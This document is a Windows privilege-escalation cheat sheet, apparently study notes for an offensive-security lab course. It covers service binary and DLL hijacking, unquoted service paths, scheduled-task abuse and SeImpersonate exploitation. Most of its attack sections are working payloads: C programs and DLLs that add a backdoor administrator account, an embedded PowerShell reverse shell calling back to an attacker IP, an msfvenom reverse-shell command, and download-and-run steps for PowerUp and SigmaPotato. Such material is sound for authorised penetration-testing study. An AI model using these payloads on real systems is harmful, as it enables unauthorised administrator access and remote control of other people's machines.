Windows Privilege Escalation

Windows Privilege Basics

Security Identifier (SID)

SID is used in Windows to identify entities, such as users and groups. SID of local entities is assigned by LSA, and SID of domain entities is generated by domain controller.

Format of SID: S-1-5-21-1336799502-1441772794-948155058-1001.

Well-known SID:

S-1-0-0                       Nobody        
S-1-1-0	                      Everybody
S-1-5-11                      Authenticated Users
S-1-5-18                      Local System
S-1-5-domainidentifier-500    Administrator

Windows Enumeration

Key Information of a Windows Host

ItemPowerShell Command
Username and hostnamewhoami
whoami /groups
Existing users and groupsnet userne
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember <GROUP>
OS, version and architecturesysteminfo
Networkipconfig /all
route print
netstat -ano
Installed applicationsGet-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname (32-bit)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname (64-bit)
Running processesGet-Process
PowerShell transcriptionGet-History
(Get-PSReadlineOption).HistorySavePath

Search for sensitive files

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\alex\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

Run an application as another user

runas /user:backupadmin cmd

WinRM connection

evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123\!\!"

Save file from HTTP server

iwr -uri http://192.168.48.3/winPEASx64.exe -Outfile winPEAS.exe

Windows Services

Hijack service binaries

For service hijack attacks, the vulnerable services are executed by users with higher privilege (e.g. local SYSTEM user). However, due to inappropriate access control, the binary file of the service might be writable by non-privileged users. We can replace the contents of the binaries to make the privileged user execute our commands.

Check for vulnerable binaries

ItemPowerShell Command
Get current running servicesGet-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -eq 'Running'}
Get ACLicacls "C:\xampp\apache\bin\httpd.exe"

Produce PrivEsc payload

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  
  return 0;
}
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system("powershell \"$client = New-Object System.Net.Sockets.TCPClient('192.168.45.194',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex \\\". { $data } 2>&1\\\" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");

  return 0;
}
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Deliver payload and replace binary file

Backup the original binary:

move C:\xampp\mysql\bin\mysqld.exe mysqld.exe
move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe

Check start mode of a service:

Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

If the start mode is “Auto”, the service will start automatically after a reboot.

Manually restart a service:

net stop mysql
net start mysql

Reboot a Windows host (option /r)

shutdown /r /t 0

Automating the attack

On Kali:

cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
python3 -m http.server 8080

On target host:

iwr -uri http://192.168.45.209:8080/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile

Hijack service DLLs

Similar to Windows service hijacking, service DDLs can be replaced to gain elevated privilege when the application is started by a highly privileged user.

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user dave3 password123! /add");
  	    i = system ("net localgroup administrators dave3 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system("powershell \"$client = New-Object System.Net.Sockets.TCPClient('192.168.45.201',9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex \\\". { $data } 2>&1\\\" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.201 LPORT=9999 -f dll -o EnterpriseServiceOptional.dll

Compile the payload to DLL:

x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll

Abuse unquoted service paths

If the path to a service binary contains a space character and the path string is not quoted (e.g. C:\Program Files\My Program\My Service\service.exe), Windows may intepret the binary location differently:

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

Check for vulnerable path names

Search for service binary paths with spaces and verify if the user may start and stop it:

Get-CimInstance -ClassName win32_service | Select Name,State,PathName
wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """

Result:

GammaService                              Stopped C:\Program Files\Enterprise Apps\Current Version\GammaSe...

Check if the user has write permission to each of the folder that Windows may serach for the binary:

icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"

Deliver payload and create binary file

In the case above, Windows will look for Current.exe (the string before the 3rd space in the path). Therefore, we deliver the payload to the following location:

C:\Program Files\Enterprise Apps\Current.exe

Start the service to execute

Start-Service GammaService

Automating the attack

On target host:

iwr -uri http://192.168.45.208:8080/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-UnquotedService
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"

Scheduled Tasks

Check for vulnerable tasks

Get-ScheduledTask
schtasks /query /fo LIST /v

A exploitable scheduled task should be:

  • Executed as privileged user or target user (see Run As User)
  • Has easy-to-meet scheduling conditions (e.g. every minute, on logon, on system start)
  • The script/binary/command of the task is reachable and can be replaced by a malicious payload

For example:

HostName:                             CLIENTWK221
TaskName:                             \Microsoft\Voice Activation
Next Run Time:                        6/8/2025 1:31:50 AM
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        6/8/2025 1:31:04 AM
Last Result:                          1
Author:                               CLIENTWK221\offsec
Task To Run:                          C:\Users\moss\Searches\VoiceActivation.exe 
Start In:                             N/A
Comment:                              N/A
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode
Run As User:                          roy
Delete Task If Not Rescheduled:       Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        One Time Only, Minute 
Start Time:                           8:56:50 AM
Start Date:                           11/15/2022
End Date:                             N/A
Days:                                 N/A
Months:                               N/A
Repeat: Every:                        0 Hour(s), 1 Minute(s)
Repeat: Until: Time:                  None
Repeat: Until: Duration:              Disabled
Repeat: Stop If Still Running:        Disabled

Using Exploits

Check for special privileges:

whoami /priv

Get security updates:

Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }

Exploit SeImpersonatePrivilege:

On Kali:

wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
python -m http.server 8080

On target host:

iwr -uri http://192.168.48.3/SigmaPotato.exe -OutFile SigmaPotato.exe
.\SigmaPotato "net user dave4 lab /add"
.\SigmaPotato "net localgroup Administrators dave4 /add"
Previous
Next